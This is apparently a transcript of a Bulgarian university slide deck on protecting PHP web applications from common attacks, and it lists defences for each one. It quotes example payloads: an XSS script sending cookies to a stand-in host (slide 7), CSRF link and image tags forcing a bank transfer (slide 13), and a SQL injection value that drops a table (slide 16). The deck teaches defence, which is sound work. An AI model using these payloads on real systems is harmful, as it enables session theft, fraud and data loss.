Защита при създаване на php-приложения в Интернет
DESCRIPTION
Защита при създаване на PHP-приложения в ИнтернетTRANSCRIPT
![Page 1: Защита при създаване на PHP-приложения в Интернет](https://reader035.vdocuments.site/reader035/viewer/2022062300/557f3f8dd8b42aba678b4d7b/html5/thumbnails/1.jpg)
Изготвил: Енис Исмаил, ф. номер: 12109
Проверли: доц. д-р Стефан Дражев, ас. Радка Начева
Икономически университет – ВарнаЦентър «Магистърско обучение»
Катедра «Информатика»
Защита при създаване на PHP-приложения в Интернет
![Page 2: Защита при създаване на PHP-приложения в Интернет](https://reader035.vdocuments.site/reader035/viewer/2022062300/557f3f8dd8b42aba678b4d7b/html5/thumbnails/2.jpg)
Нужда от защита на уеб-приложенията?
![Page 3: Защита при създаване на PHP-приложения в Интернет](https://reader035.vdocuments.site/reader035/viewer/2022062300/557f3f8dd8b42aba678b4d7b/html5/thumbnails/3.jpg)
Семантични атаки
Любопитството увеличава мотивацията при много атаки и семантичните атаки са един от най-добрите примери за това. Представляват модифициране на URL с цел получаване на данни, до които потребителят не би трябвало да има достъп.
Пример:
www.domain.com/view_invoice.php?id=1000523
www.domain.com/view_invoice.php?id=1000413
Защита:
Проверяване дали потребителят има право да прочете/запише съответната ифнормация.
Използване на трудни за отгатване идентификационни низове.
![Page 4: Защита при създаване на PHP-приложения в Интернет](https://reader035.vdocuments.site/reader035/viewer/2022062300/557f3f8dd8b42aba678b4d7b/html5/thumbnails/4.jpg)
Атаки чрез качване на файлове
![Page 5: Защита при създаване на PHP-приложения в Интернет](https://reader035.vdocuments.site/reader035/viewer/2022062300/557f3f8dd8b42aba678b4d7b/html5/thumbnails/5.jpg)
Атаки чрез качване на файлове
Опасности:
Качване на файлове, съдържащи зловреден PHP или JavaScript код и изпълняването им в системата.
Натоварване и блокиране на сървъра чрез качване на прекалено големи по размер файлове.
Защита:
Позволяване за качване само файлове с определени разширения като jpg, jpeg, gif, png, pdf, doc, docx.
Ограничение на размера на файловете, които могат да бъдат качени.
Премахване на execute флага в привилегиите за папката, където се съхраняват качените файлове.
Промяна името на качваният файл.
![Page 6: Защита при създаване на PHP-приложения в Интернет](https://reader035.vdocuments.site/reader035/viewer/2022062300/557f3f8dd8b42aba678b4d7b/html5/thumbnails/6.jpg)
XSS атаки
![Page 7: Защита при създаване на PHP-приложения в Интернет](https://reader035.vdocuments.site/reader035/viewer/2022062300/557f3f8dd8b42aba678b4d7b/html5/thumbnails/7.jpg)
XSS атаки
XSS (Cross-site scripting) атаките са едни от най-познатите видове атаки. Способни са да поразят уеб-приложения от всички платформи, и PHP уеб-приложенията със сигурност не са изключение.
<script> document.location = 'http://evilsite.org/steal.php?cookies=' + document.cookie</script>
XSS атаките могат да доведат до големи проблеми, но за щастие са лесни за предотвратяване. Единственото, което трябва да се направи е получените данни да се филтрират подходящо преди записването им в базата от данни.
Използване на функции за екранизация на данните
Задаване на session.cookie_httponly = True в php.ini
![Page 8: Защита при създаване на PHP-приложения в Интернет](https://reader035.vdocuments.site/reader035/viewer/2022062300/557f3f8dd8b42aba678b4d7b/html5/thumbnails/8.jpg)
Brute-Force атаки и Dictionary атаки
![Page 9: Защита при създаване на PHP-приложения в Интернет](https://reader035.vdocuments.site/reader035/viewer/2022062300/557f3f8dd8b42aba678b4d7b/html5/thumbnails/9.jpg)
Brute-Force атаки и Dictionary атаки
Brute-force е атака, при която атакуващият изпраща множество заявки към сървъра с различни комбинации от име и парола, с цел да „налучка“ някоя правилна комбинация. Използват за намиране на сравнително прости по сложност пароли. За по-сложни пароли, включващи думи с определено значение и т.н., се използват Dictionary атаките.
Защита:
Използване на по-сложни пароли
Използване на Captcha
Лимитиране на броя заявки за определен период от време
Фиксиране достъпа до акаунти по IP адрес
![Page 10: Защита при създаване на PHP-приложения в Интернет](https://reader035.vdocuments.site/reader035/viewer/2022062300/557f3f8dd8b42aba678b4d7b/html5/thumbnails/10.jpg)
Отĸpaдвaнe нa cecия (session hijacking)
![Page 11: Защита при създаване на PHP-приложения в Интернет](https://reader035.vdocuments.site/reader035/viewer/2022062300/557f3f8dd8b42aba678b4d7b/html5/thumbnails/11.jpg)
Отĸpaдвaнe нa cecия (session hijacking)
Сесията се открадва чрез получаване на идентификационният номер за сесията, който се пази в браузъра на клиента.
Начини за открадване:
Чрез предсказване на ID на сесията
Чрез подслушване на комуникационния канал
Чрез фиксиране на ID на сесията чрез URL или XSS атака
Защита:
Използване на криптирана връзка – SSL (Secure Socket Layer)
Често подновяване ID на сесията
Сравняване на IP и/или User Agent информацията на клиента
![Page 12: Защита при създаване на PHP-приложения в Интернет](https://reader035.vdocuments.site/reader035/viewer/2022062300/557f3f8dd8b42aba678b4d7b/html5/thumbnails/12.jpg)
Фалшификати на заявки (CSRF)
![Page 13: Защита при създаване на PHP-приложения в Интернет](https://reader035.vdocuments.site/reader035/viewer/2022062300/557f3f8dd8b42aba678b4d7b/html5/thumbnails/13.jpg)
Фалшификати на заявки (CSRF)
CSRF (Cross-site request forgery) е вид атака, чрез която клиентът без да знае изпраща заявки към друг сайт. Ако той е вписан в системата, то заявката ще бъде изпълнена, тъй като тя би изглеждала напълно валидна.
<a href="http://bank.com/transfer.do?acct=HACKER&amount=1000">Виж тази картинка!</a>
<img src="http://bank.com/transfer.do?acct=HACKER&amount=1000" width="1" height="1" border="0">
Защита:
Използване на произволен низ (token) във формата или линка
Искане за повторно въвеждане на парола (или Captcha)
![Page 14: Защита при създаване на PHP-приложения в Интернет](https://reader035.vdocuments.site/reader035/viewer/2022062300/557f3f8dd8b42aba678b4d7b/html5/thumbnails/14.jpg)
SQL инжектиране
![Page 15: Защита при създаване на PHP-приложения в Интернет](https://reader035.vdocuments.site/reader035/viewer/2022062300/557f3f8dd8b42aba678b4d7b/html5/thumbnails/15.jpg)
SQL инжектиране
SQL инжектирането е техника за атакуване на приложения, използващи SQL бази от данни, чрез вмъкване на злонамерени SQL команди в заявките, генерирани от приложението.
Най-често SQL инжектирането се използва за постигане на следните неща:
Прочитане на данни
Промяна на данни (запис, модифициране, изтриване)
Изпълняване на администраторски операции на базата от данни, например спиране (shutdown) на цялата БД.
![Page 16: Защита при създаване на PHP-приложения в Интернет](https://reader035.vdocuments.site/reader035/viewer/2022062300/557f3f8dd8b42aba678b4d7b/html5/thumbnails/16.jpg)
SQL инжектиране
Пример:
Заявка в PHP:
$query = “SELECT * FROM students WHERE fnum = '$query'”;
Изпълнена заявка в MySQL след въвеждане на стойност „086012“:
SELECT * FROM students WHERE fnum = 086012
Изпълнена заявка в MySQL след въвеждане на стойност „1; DROP TABLE students “:
SELECT * FROM students WHERE fnum = 1; DROP TABLE students;
![Page 17: Защита при създаване на PHP-приложения в Интернет](https://reader035.vdocuments.site/reader035/viewer/2022062300/557f3f8dd8b42aba678b4d7b/html5/thumbnails/17.jpg)
SQL инжектиране
Начини за защита от SQL инжектиране:
Използване на параметрични заявки, където структурата на заявката е отделена от подаваните параметри. За целта се използва PDO разширението.
Използване на процедури, като параметрите се подават отделно.
Екранизиране на всички входни данни, използвани в заявките.
Валидиране на данните, преди да бъдат използвани в заявките.
Ограничаване на привилегиите за използване на БД за всеки акаунт.
![Page 18: Защита при създаване на PHP-приложения в Интернет](https://reader035.vdocuments.site/reader035/viewer/2022062300/557f3f8dd8b42aba678b4d7b/html5/thumbnails/18.jpg)
Атаки за отказ на услуга (DDoS атаки)
![Page 19: Защита при създаване на PHP-приложения в Интернет](https://reader035.vdocuments.site/reader035/viewer/2022062300/557f3f8dd8b42aba678b4d7b/html5/thumbnails/19.jpg)
Атаки за отказ на услуга (DDoS атаки)
Атака за отказ на услуга е опит даден ресурс, предоставян от компютър (наричан жертва), да бъде направен недостъпен за целевите му потребители. Обикновено жертви на такива атаки стават популярни уеб сървъри, като целта е те да станат недостъпни.
DDoS атаките биват два основни вида:
Принуждаване на жертвата да се рестартира или да потреби всичките си ресурси, така че вече да не може да предоставя целевата услуга;
Възпрепятстване на комуникацията между жертвата и целевите потребители на услугата, така че те вече да не могат да я достъпват адекватно.
Начини за предпазване:
Осигуряване на достатъчно ресурси на сървъра;
Използване на хардуерни защитни стени, филтриращи трафика преди достигне до сървъра.
![Page 20: Защита при създаване на PHP-приложения в Интернет](https://reader035.vdocuments.site/reader035/viewer/2022062300/557f3f8dd8b42aba678b4d7b/html5/thumbnails/20.jpg)
Благодаря за вниманието!